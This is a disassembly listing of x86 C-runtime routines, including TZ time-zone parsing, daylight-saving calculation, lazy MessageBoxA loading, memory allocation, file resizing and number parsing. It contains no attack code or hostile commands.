sub_42249C loc_4246D0: ; CODE XREF: sub_42249C:loc_4224EDj push 0Ah call sub_4234D1 push 16h call sub_425831 pop ecx pop ecx push 3 call sub_41BF42 ; END OF FUNCTION CHUNK FOR sub_42249C ; =============== S U B R O U T I N E ======================================= sub_4246E7 proc near ; CODE XREF: sub_422571:loc_4225B0p cmp dword_4D99F8, 0 jnz short locret_4246FB call sub_4246FC inc dword_4D99F8 locret_4246FB: ; CODE XREF: sub_4246E7+7j retn sub_4246E7 endp ; =============== S U B R O U T I N E ======================================= sub_4246FC proc near ; CODE XREF: sub_4246E7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4D9940, ebp mov dword_43B0E0, ebx mov dword_43B0D0, ebx call sub_4259A3 mov esi, eax pop ecx cmp esi, ebp jnz loc_424825 push offset dword_4D9948 nop call near ptr 2890000h cmp eax, ebx jz loc_424954 mov eax, dword_4D9948 mov ecx, dword_4D999C imul eax, 3Ch cmp word_4D998E, bp push 1 pop edx mov dword_43B038, eax mov dword_4D9940, edx jz short loc_424773 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43B038, eax loc_424773: ; CODE XREF: sub_4246FC+69j cmp word_4D99E2, bp jz short loc_424797 mov eax, dword_4D99F0 cmp eax, ebp jz short loc_424797 sub eax, ecx mov dword_43B03C, edx imul eax, 3Ch mov dword_43B040, eax jmp short loc_4247A3 ; --------------------------------------------------------------------------- loc_424797: ; CODE XREF: sub_4246FC+7Ej ; sub_4246FC+87j mov dword_43B03C, ebp mov dword_43B040, ebp loc_4247A3: ; CODE XREF: sub_4246FC+99j lea eax, [esp+14h+var_4] mov esi, dword_427194 push eax push ebp push 3Fh mov edi, 220h push off_43B0C4 push ebx push offset dword_4D994C push edi push dword_4D97E0 call esi test eax, eax jz short loc_4247E0 cmp [esp+14h+var_4], ebp jnz short loc_4247E0 mov eax, off_43B0C4 and byte ptr [eax+3Fh], 0 jmp short loc_4247E8 ; --------------------------------------------------------------------------- loc_4247E0: ; CODE XREF: sub_4246FC+D1j ; sub_4246FC+D7j mov eax, off_43B0C4 and byte ptr [eax], 0 loc_4247E8: ; CODE XREF: sub_4246FC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43B0C8 push ebx push offset dword_4D99A0 push edi push dword_4D97E0 call esi test eax, eax jz loc_42494C cmp [esp+14h+var_4], ebp jnz loc_42494C mov eax, off_43B0C8 and byte ptr [eax+3Fh], 0 jmp loc_424954 ; --------------------------------------------------------------------------- loc_424825: ; CODE XREF: sub_4246FC+2Dj cmp byte ptr [esi], 0 jz loc_424954 mov eax, dword_4D99F4 cmp eax, ebp jz short loc_424848 push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_424954 loc_424848: ; CODE XREF: sub_4246FC+139j push dword_4D99F4 call sub_41BA31 push esi call sub_41B960 inc eax push eax call sub_41BC9B add esp, 0Ch cmp eax, ebp mov dword_4D99F4, eax jz loc_424954 push esi push eax call sub_41C620 push 3 push esi push off_43B0C4 call sub_41BD70 mov eax, off_43B0C4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42489D push 1 inc esi pop edi loc_42489D: ; CODE XREF: sub_4246FC+19Bj push esi call sub_41BE6E pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43B038, ecx loc_4248B4: ; CODE XREF: sub_4246FC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4248C2 cmp al, bl jl short loc_4248C5 cmp al, 39h jg short loc_4248C5 loc_4248C2: ; CODE XREF: sub_4246FC+1BCj inc esi jmp short loc_4248B4 ; --------------------------------------------------------------------------- loc_4248C5: ; CODE XREF: sub_4246FC+1C0j ; sub_4246FC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424918 inc esi push esi call sub_41BE6E imul eax, 3Ch pop ecx mov ecx, dword_43B038 add ecx, eax mov dword_43B038, ecx loc_4248E3: ; CODE XREF: sub_4246FC+1F2j mov al, [esi] cmp al, bl jl short loc_4248F0 cmp al, 39h jg short loc_4248F0 inc esi jmp short loc_4248E3 ; --------------------------------------------------------------------------- loc_4248F0: ; CODE XREF: sub_4246FC+1EBj ; sub_4246FC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424918 inc esi push esi call sub_41BE6E pop ecx mov ecx, dword_43B038 add ecx, eax mov dword_43B038, ecx loc_42490B: ; CODE XREF: sub_4246FC+21Aj mov al, [esi] cmp al, bl jl short loc_424918 cmp al, 39h jg short loc_424918 inc esi jmp short loc_42490B ; --------------------------------------------------------------------------- loc_424918: ; CODE XREF: sub_4246FC+1CCj ; sub_4246FC+1F7j ... cmp edi, ebp jz short loc_424924 neg ecx mov dword_43B038, ecx loc_424924: ; CODE XREF: sub_4246FC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43B03C, eax jz short loc_42494C push 3 push esi push off_43B0C8 call sub_41BD70 mov eax, off_43B0C8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424954 ; --------------------------------------------------------------------------- loc_42494C: ; CODE XREF: sub_4246FC+10Bj ; sub_4246FC+115j ... mov eax, off_43B0C8 and byte ptr [eax], 0 loc_424954: ; CODE XREF: sub_4246FC+40j ; sub_4246FC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4246FC endp ; =============== S U B R O U T I N E ======================================= sub_42495A proc near ; CODE XREF: sub_422571+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43B03C, edi jnz short loc_42496E loc_424967: ; CODE XREF: sub_42495A+148j ; sub_42495A+150j ... xor eax, eax jmp loc_424ABA ; --------------------------------------------------------------------------- loc_42496E: ; CODE XREF: sub_42495A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43B0D0 jnz short loc_42498C cmp eax, dword_43B0E0 jz loc_424A8E loc_42498C: ; CODE XREF: sub_42495A+24j cmp dword_4D9940, edi jz loc_424A64 movzx ecx, word_4D99EE push ecx cmp word_4D99E0, di movzx ecx, word_4D99EC push ecx movzx ecx, word_4D99EA push ecx movzx ecx, word_4D99E8 push ecx jnz short loc_4249DE movzx ecx, word_4D99E4 push edi push ecx movzx ecx, word_4D99E6 push ecx movzx ecx, word_4D99E2 push ecx push eax push ebx jmp short loc_4249F2 ; --------------------------------------------------------------------------- loc_4249DE: ; CODE XREF: sub_42495A+65j movzx ecx, word_4D99E6 push ecx push edi movzx ecx, word_4D99E2 push edi push ecx push eax push edi loc_4249F2: ; CODE XREF: sub_42495A+82j push ebx call sub_424B06 movzx eax, word_4D999A add esp, 2Ch cmp word_4D998C, di push eax movzx eax, word_4D9998 push eax movzx eax, word_4D9996 push eax movzx eax, word_4D9994 push eax jnz short loc_424A4C movzx eax, word_4D9990 push edi push eax movzx eax, word_4D9992 push eax movzx eax, word_4D998E push eax push dword ptr [esi+14h] push ebx loc_424A41: ; CODE XREF: sub_42495A+108j push edi call sub_424B06 add esp, 2Ch jmp short loc_424A8E ; --------------------------------------------------------------------------- loc_424A4C: ; CODE XREF: sub_42495A+C8j movzx eax, word_4D9992 push eax push edi movzx eax, word_4D998E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424A41 ; --------------------------------------------------------------------------- loc_424A64: ; CODE XREF: sub_42495A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424B06 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424B06 add esp, 58h loc_424A8E: ; CODE XREF: sub_42495A+2Cj ; sub_42495A+F0j mov edx, dword_43B0D4 mov eax, dword_43B0E4 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424ABE cmp ecx, edx jl loc_424967 cmp ecx, eax jg loc_424967 cmp ecx, edx jle short loc_424AD2 cmp ecx, eax jge short loc_424AD2 loc_424AB8: ; CODE XREF: sub_42495A+166j ; sub_42495A+16Aj mov eax, ebx loc_424ABA: ; CODE XREF: sub_42495A+Fj ; sub_42495A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424ABE: ; CODE XREF: sub_42495A+144j cmp ecx, eax jl short loc_424AB8 cmp ecx, edx jg short loc_424AB8 cmp ecx, eax jle short loc_424AD2 cmp ecx, edx jl loc_424967 loc_424AD2: ; CODE XREF: sub_42495A+158j ; sub_42495A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424AF9 xor ecx, ecx cmp eax, dword_43B0D8 setnl cl loc_424AF5: ; CODE XREF: sub_42495A+1AAj mov eax, ecx jmp short loc_424ABA ; --------------------------------------------------------------------------- loc_424AF9: ; CODE XREF: sub_42495A+18Ej xor ecx, ecx cmp eax, dword_43B0E8 setl cl jmp short loc_424AF5 sub_42495A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B06 proc near ; CODE XREF: sub_42495A+99p ; sub_42495A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424BA1 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424B31 shl esi, 2 mov eax, dword_43B0E8[esi] jmp short loc_424B3A ; --------------------------------------------------------------------------- loc_424B31: ; CODE XREF: sub_424B06+1Ej shl esi, 2 mov eax, dword_43B11C[esi] loc_424B3A: ; CODE XREF: sub_424B06+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_424B74 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B74: ; CODE XREF: sub_424B06+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424B7E: ; CODE XREF: sub_424B06+6Cj cmp [ebp+arg_10], 5 jnz short loc_424BBC cmp [ebp+arg_8], 0 jnz short loc_424B92 mov esi, dword_43B0EC[esi] jmp short loc_424B98 ; --------------------------------------------------------------------------- loc_424B92: ; CODE XREF: sub_424B06+82j mov esi, dword_43B120[esi] loc_424B98: ; CODE XREF: sub_424B06+8Aj cmp ecx, esi jle short loc_424BBC sub ecx, 7 jmp short loc_424BBC ; --------------------------------------------------------------------------- loc_424BA1: ; CODE XREF: sub_424B06+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424BB2 mov ecx, dword_43B0E8[eax*4] jmp short loc_424BB9 ; --------------------------------------------------------------------------- loc_424BB2: ; CODE XREF: sub_424B06+A1j mov ecx, dword_43B11C[eax*4] loc_424BB9: ; CODE XREF: sub_424B06+AAj add ecx, [ebp+arg_18] loc_424BBC: ; CODE XREF: sub_424B06+7Cj ; sub_424B06+94j ... cmp [ebp+arg_0], 1 jnz short loc_424BED mov eax, [ebp+arg_1C] mov dword_43B0D4, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43B0D0, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B0D8, eax jmp short loc_424C42 ; --------------------------------------------------------------------------- loc_424BED: ; CODE XREF: sub_424B06+BAj mov eax, [ebp+arg_1C] mov dword_43B0E4, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43B040 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B0E8, eax jns short loc_424C25 add eax, 5265C00h dec ecx mov dword_43B0E8, eax jmp short loc_424C36 ; --------------------------------------------------------------------------- loc_424C25: ; CODE XREF: sub_424B06+110j mov edx, 5265C00h cmp eax, edx jl short loc_424C3C sub eax, edx inc ecx mov dword_43B0E8, eax loc_424C36: ; CODE XREF: sub_424B06+11Dj mov dword_43B0E4, ecx loc_424C3C: ; CODE XREF: sub_424B06+126j mov dword_43B0E0, ebx loc_424C42: ; CODE XREF: sub_424B06+E5j pop esi pop ebx pop ebp retn sub_424B06 endp ; =============== S U B R O U T I N E ======================================= sub_424C46 proc near ; CODE XREF: ___:00422DA5p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424C57 add esp, 0Ch retn sub_424C46 endp ; =============== S U B R O U T I N E ======================================= sub_424C57 proc near ; CODE XREF: sub_424C46+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DAC81[eax], cl jnz short loc_424C84 cmp [esp+arg_4], 0 jz short loc_424C7D movzx eax, word_43A68A[eax*2] and eax, [esp+arg_4] jmp short loc_424C7F ; --------------------------------------------------------------------------- loc_424C7D: ; CODE XREF: sub_424C57+16j xor eax, eax loc_424C7F: ; CODE XREF: sub_424C57+24j test eax, eax jnz short loc_424C84 retn ; --------------------------------------------------------------------------- loc_424C84: ; CODE XREF: sub_424C57+Fj ; sub_424C57+2Aj push 1 pop eax retn sub_424C57 endp ; =============== S U B R O U T I N E ======================================= sub_424C88 proc near ; CODE XREF: sub_4234D1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4D99FC, ebx push esi push edi jnz short loc_424CD7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26C0000h mov edi, eax cmp edi, ebx jz short loc_424D0D mov esi, dword_4270CC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4D99FC, eax jz short loc_424D0D push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4D9A00, eax call esi mov dword_4D9A04, eax loc_424CD7: ; CODE XREF: sub_424C88+Bj mov eax, dword_4D9A00 test eax, eax jz short loc_424CF6 call eax mov ebx, eax test ebx, ebx jz short loc_424CF6 mov eax, dword_4D9A04 test eax, eax jz short loc_424CF6 push ebx call eax mov ebx, eax loc_424CF6: ; CODE XREF: sub_424C88+56j ; sub_424C88+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4D99FC loc_424D09: ; CODE XREF: sub_424C88+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424D0D: ; CODE XREF: sub_424C88+1Cj ; sub_424C88+33j xor eax, eax jmp short loc_424D09 sub_424C88 endp ; =============== S U B R O U T I N E ======================================= sub_424D11 proc near ; CODE XREF: sub_42383E+22p ; sub_42383E+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_424D31 test esi, esi jnz short loc_424D2B push 1 pop esi loc_424D2B: ; CODE XREF: sub_424D11+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_424D31: ; CODE XREF: sub_424D11+11j ; sub_424D11+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424D62 cmp ebx, dword_43A67C ja short loc_424D4D push ebx call sub_41E7CD mov edi, eax pop ecx test edi, edi jnz short loc_424D78 loc_424D4D: ; CODE XREF: sub_424D11+2Dj push esi push 8 push dword_4DADA0 call near ptr 27E0000h nop mov edi, eax test edi, edi jnz short loc_424D84 loc_424D62: ; CODE XREF: sub_424D11+25j cmp dword_4D9798, 0 jz short loc_424D84 push esi call sub_41F247 test eax, eax pop ecx jz short loc_424D8A jmp short loc_424D31 ; --------------------------------------------------------------------------- loc_424D78: ; CODE XREF: sub_424D11+3Aj push ebx push 0 push edi call sub_41BD10 add esp, 0Ch loc_424D84: ; CODE XREF: sub_424D11+4Fj ; sub_424D11+58j mov eax, edi loc_424D86: ; CODE XREF: sub_424D11+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424D8A: ; CODE XREF: sub_424D11+63j xor eax, eax jmp short loc_424D86 sub_424D11 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4238E3 loc_424D8E: ; CODE XREF: sub_4238E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DAA40, esi jle short loc_424DE1 loc_424D9D: ; CODE XREF: sub_4238E3+14FCj mov eax, dword_4D9A30 mov eax, [eax+esi*4] test eax, eax jz short loc_424DD8 test byte ptr [eax+0Ch], 83h jz short loc_424DBC push eax call sub_41B9DB cmp eax, 0FFFFFFFFh pop ecx jz short loc_424DBC inc edi loc_424DBC: ; CODE XREF: sub_4238E3+14CAj ; sub_4238E3+14D6j cmp esi, 14h jl short loc_424DD8 mov eax, dword_4D9A30 push dword ptr [eax+esi*4] call sub_41BA31 mov eax, dword_4D9A30 pop ecx and dword ptr [eax+esi*4], 0 loc_424DD8: ; CODE XREF: sub_4238E3+14C4j ; sub_4238E3+14DCj inc esi cmp esi, dword_4DAA40 jl short loc_424D9D loc_424DE1: ; CODE XREF: sub_4238E3+14B8j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4238E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DE6 proc near ; CODE XREF: sub_42393B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C2A0 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DAB60 jnb loc_424F1B mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_424F1B push 1 push esi push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_424F25 push 2 push esi push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_424F25 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424EC8 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BD10 push 8000h push ebx call sub_425A20 add esp, 14h mov [ebp+arg_4], eax loc_424E7C: ; CODE XREF: sub_424DE6+BDj mov eax, 1000h cmp edi, eax jge short loc_424E87 mov eax, edi loc_424E87: ; CODE XREF: sub_424DE6+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_422825 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424EA5 sub edi, eax test edi, edi jle short loc_424EBB jmp short loc_424E7C ; --------------------------------------------------------------------------- loc_424EA5: ; CODE XREF: sub_424DE6+B5j cmp dword_4D9718, 5 jnz short loc_424EB8 mov dword_4D9714, 0Dh loc_424EB8: ; CODE XREF: sub_424DE6+C6j or esi, 0FFFFFFFFh loc_424EBB: ; CODE XREF: sub_424DE6+BBj push [ebp+arg_4] push ebx call sub_425A20 pop ecx pop ecx jmp short loc_424F08 ; --------------------------------------------------------------------------- loc_424EC8: ; CODE XREF: sub_424DE6+71j jge short loc_424F08 push 0 push [ebp+arg_4] push ebx call sub_422633 push ebx call sub_4237AA add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_424F08 mov dword_4D9714, 0Dh nop call near ptr 26908A7h mov dword_4D9718, eax loc_424F08: ; CODE XREF: sub_424DE6+E0j ; sub_424DE6:loc_424EC8j ... push 0 push [ebp+arg_0] push ebx call sub_422633 add esp, 0Ch mov eax, esi pop edi jmp short loc_424F28 ; --------------------------------------------------------------------------- loc_424F1B: ; CODE XREF: sub_424DE6+1Aj ; sub_424DE6+36j mov dword_4D9714, 9 loc_424F25: ; CODE XREF: sub_424DE6+4Ej ; sub_424DE6+63j or eax, 0FFFFFFFFh loc_424F28: ; CODE XREF: sub_424DE6+133j pop esi pop ebx leave retn sub_424DE6 endp ; =============== S U B R O U T I N E ======================================= sub_424F2C proc near ; CODE XREF: sub_4240DF+2Bp ; sub_4240DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_424F42 cmp ecx, esi jnb short loc_424F45 loc_424F42: ; CODE XREF: sub_424F2C+10j push 1 pop eax loc_424F45: ; CODE XREF: sub_424F2C+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_424F2C endp ; =============== S U B R O U T I N E ======================================= sub_424F4D proc near ; CODE XREF: sub_425006+40p ; sub_425006+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F7F lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F7F inc dword ptr [esi+8] loc_424F7F: ; CODE XREF: sub_424F4D+19j ; sub_424F4D+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F97 inc dword ptr [esi+8] loc_424F97: ; CODE XREF: sub_424F4D+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_424F2C add esp, 0Ch pop edi pop esi retn sub_424F4D endp ; =============== S U B R O U T I N E ======================================= sub_424FAB proc near ; CODE XREF: sub_425006+30p ; sub_425006+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_424FAB endp ; =============== S U B R O U T I N E ======================================= sub_424FD9 proc near ; CODE XREF: sub_42559E+1C8p ; sub_425A96+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_424FD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425006 proc near ; CODE XREF: sub_4250CD+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42507A push edi mov [ebp+arg_8], eax loc_42502D: ; CODE XREF: sub_425006+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_424FAB push ebx call sub_424FAB lea eax, [ebp+var_10] push eax push ebx call sub_424F4D push ebx call sub_424FAB mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_424F4D add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_42502D xor edx, edx pop edi loc_42507A: ; CODE XREF: sub_425006+21j ; sub_425006+9Fj cmp [ebx+8], edx jnz short loc_4250A7 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42507A ; --------------------------------------------------------------------------- loc_4250A7: ; CODE XREF: sub_425006+77j mov esi, 8000h loc_4250AC: ; CODE XREF: sub_425006+B9j test [ebx+8], esi jnz short loc_4250C1 push ebx call sub_424FAB add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4250AC ; --------------------------------------------------------------------------- loc_4250C1: ; CODE XREF: sub_425006+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_425006 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250CD proc near ; CODE XREF: sub_424428+17p ; sub_424455+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_425108: ; CODE XREF: sub_4250CD+52j mov cl, [edi] cmp cl, 20h jz short loc_42511E cmp cl, 9 jz short loc_42511E cmp cl, 0Ah jz short loc_42511E cmp cl, 0Dh jnz short loc_425121 loc_42511E: ; CODE XREF: sub_4250CD+40j ; sub_4250CD+45j ... inc edi jmp short loc_425108 ; --------------------------------------------------------------------------- loc_425121: ; CODE XREF: sub_4250CD+4Fj push 4 pop esi loc_425124: ; CODE XREF: sub_4250CD+AEj ; sub_4250CD+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4253A7 ; default ; jumptable 00425130 case 10 jmp off_42556E[eax*4] ; switch jump loc_425137: ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 0 jl short loc_425148 cmp bl, 39h jg short loc_425148 loc_425141: ; CODE XREF: sub_4250CD+C4j ; sub_4250CD+118j push 3 jmp loc_425365 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250CD+6Dj ; sub_4250CD+72j cmp bl, byte_43A890 jnz short loc_425157 loc_425150: ; CODE XREF: sub_4250CD+124j push 5 jmp loc_42539D ; --------------------------------------------------------------------------- loc_425157: ; CODE XREF: sub_4250CD+81j movsx eax, bl sub eax, 2Bh jz short loc_42517D dec eax dec eax jz short loc_425171 sub eax, 3 jnz loc_425440 jmp loc_425200 ; --------------------------------------------------------------------------- loc_425171: ; CODE XREF: sub_4250CD+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425124 ; --------------------------------------------------------------------------- loc_42517D: ; CODE XREF: sub_4250CD+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425124 ; --------------------------------------------------------------------------- loc_425186: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 1 mov [ebp+var_10], edx jl short loc_425193 cmp bl, 39h jle short loc_425141 loc_425193: ; CODE XREF: sub_4250CD+BFj cmp bl, byte_43A890 jz loc_42525B cmp bl, 2Bh jz short loc_4251D5 cmp bl, 2Dh jz short loc_4251D5 cmp bl, 30h jz short loc_425200 loc_4251AE: ; CODE XREF: sub_4250CD+207j cmp bl, 43h jle loc_425440 cmp bl, 45h jle short loc_4251CE cmp bl, 63h jle loc_425440 cmp bl, 65h jg loc_425440 loc_4251CE: ; CODE XREF: sub_4250CD+EDj push 6 jmp loc_42539D ; --------------------------------------------------------------------------- loc_4251D5: ; CODE XREF: sub_4250CD+D5j ; sub_4250CD+DAj ... dec edi push 0Bh jmp loc_42539D ; --------------------------------------------------------------------------- loc_4251DD: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 2 jl short loc_4251EB cmp bl, 39h jle loc_425141 loc_4251EB: ; CODE XREF: sub_4250CD+113j cmp bl, byte_43A890 jz loc_425150 cmp bl, 30h jnz loc_4253B5 loc_425200: ; CODE XREF: sub_4250CD+9Fj ; sub_4250CD+DFj mov eax, edx jmp loc_425124 ; --------------------------------------------------------------------------- loc_425207: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_10], edx ; jumptable 00425130 case 3 loc_42520A: ; CODE XREF: sub_4250CD+184j cmp dword_43A88C, edx jle short loc_425223 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_425231 ; --------------------------------------------------------------------------- 